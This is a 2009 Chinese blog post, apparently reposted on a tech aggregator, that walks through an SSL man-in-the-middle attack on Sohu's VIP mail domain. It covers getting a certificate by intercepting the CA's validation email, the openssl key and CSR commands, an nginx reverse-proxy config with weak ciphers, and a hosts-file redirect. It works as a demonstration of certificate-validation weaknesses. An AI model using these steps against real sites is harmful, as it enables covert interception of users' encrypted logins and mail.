IT技术博客大学习 共学习 共进步

SSL窃听攻击实操

狂人山庄 2009-10-12 17:53:06 浏览 3,763 次

    OK,我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子

    SSL窃听最主要的是你要有一张合法的SSL证书,并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请,最低的价格只需要10美元不到,甚至还有一些域名注册商大批量采购这些证书,并且在你注册域名的时候免费送你一张。

    对于低廉价格的域名SSL证书,CA签发的前提只有一个:只要你有申请的域名某几个特定的邮箱,并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。

    所以,问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。

    当然,还有更加简单的办法:国内不少软件在安装的时候,都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商,就可以任意生成证书,并且这些证书都是有效的,不会出现警告。

    废话不多说了,开始干活。这里sohu的vip邮箱为例(他们能在整个使用过程中支持ssl),先生成一张vip.sohu.com的key和csr

以下是代码片段:
Sam@Bra:~$ mkdir ssltest
Sam@Bra:~$ cd ssltest
Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024
Generating RSA private key, 1024 bit long modulus
............++++++
.....................++++++
e is 65537 (0x10001)
Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:BeiJing
Locality Name (eg, city) []:BeiJing
Organization Name (eg, company) [Internet Widgits Pty Ltd]:fake sohu
Organizational Unit Name (eg, section) []:fake
Common Name (eg, YOUR name) []:vip.sohu.com
Email Address []:ssladmin@vip.sohu.com
 
Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:

    well,这样我们就有了一个用于vip.sohu.com的申请了,接着我们去签发这个申请

    sslhijack1

    然后系统会给你一大堆管理员相关的邮箱等你去选

    sslhijack2

    选上一个后,ca就会给你所选的邮箱发送一封确认邮件,邮件中带有一个连接,打开连接后会让你确认,确认后。。。嘿嘿,证书就到手了

    sslhijack3

    sslhijack4sslhijack5sslhijack6

    把申请下来的证书保存一下,然后修改下nginx的配置文件,把证书加上,并且设置一个反向代理到vip.sohu.com,大概的样子如下

以下是代码片段:
    # HTTPS server
    #
    server {
        listen       443;
        server_name  vip.sohu.com;
 
        ssl                  on;
        ssl_certificate      sslkeys/vip.sohu.com.crt;
        ssl_certificate_key  sslkeys/vip.sohu.com.key;
 
        ssl_session_timeout  5m;
 
        ssl_protocols  SSLv2 SSLv3 TLSv1;
        ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers   on;
 
        location / {
                proxy_pass      https://vip.sohu.com;
        }
    }

    搞定,保存,重启nginx。修改本机的hosts文件,把vip.sohu.com这个域名指向nginx所在的服务器

127.0.0.1 vip.sohu.com

    打开浏览器,输入https://vip.sohu.com,你会发现。。。。根本没任何报错或者警告信息!也就是说,ssl证书被成功替换,再就是说,你的所有传输都被劫持了。

    经过测试,IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持,大肆宣扬被劫持的网站是高可信度的网站。

    回头再简单阐述这个过程:用户访问一个网站,但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后,会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据,同样传输也是ssl加密的。网站的服务器对此毫不知情,只能获取到是proxy发出的请求,但其实proxy并不是最终用户,数据其实早已被监听并分析。

    最后,还是应了那句话:不要迷恋ssl,ssl只是个传说

    备注:

    1.转载请注明出处:http://wuhongsheng.com/it/2009/09/ssl-hijack/

    2.sohu的哥们不要来找我麻烦或者跨省追捕,选上你们是因为你们太安全了,支持ssl访问邮箱

    3.有时间大家还是多点关注我的DNSPod,最近DNSPod正在招人,人不好找啊。。。请大家帮忙宣传下,介绍一些人才过来 https://www.dnspod.com/About/Jobs

    前面一张图是sohu自己原始的证书,第二张开始就是被替换后的证书

    sslhijack7

    sslhijack8

    sslhijack9

    sslhijack10

建议继续学习

  1. SSL证书的分类(按功能) (阅读 10,161)
  2. nginx 使用 ssl (阅读 7,564)
  3. 解决linux下安装ssl后,apache重启时需要密码 (阅读 6,383)
  4. SSL Proxy (阅读 5,043)
  5. 通过ssldump来分析ssl协议过程 (阅读 3,903)
  6. 给Nginx配置一个自签名的SSL证书 (阅读 3,542)
  7. Linux下自行颁发SSL证书 (阅读 2,761)
  8. SSL多域名绑定证书的解决方案 (阅读 2,760)
  9. [Android]用WebView访问证书有问题的SSL网页 (阅读 2,744)
  10. lihttpd ssl 配置 (阅读 2,261)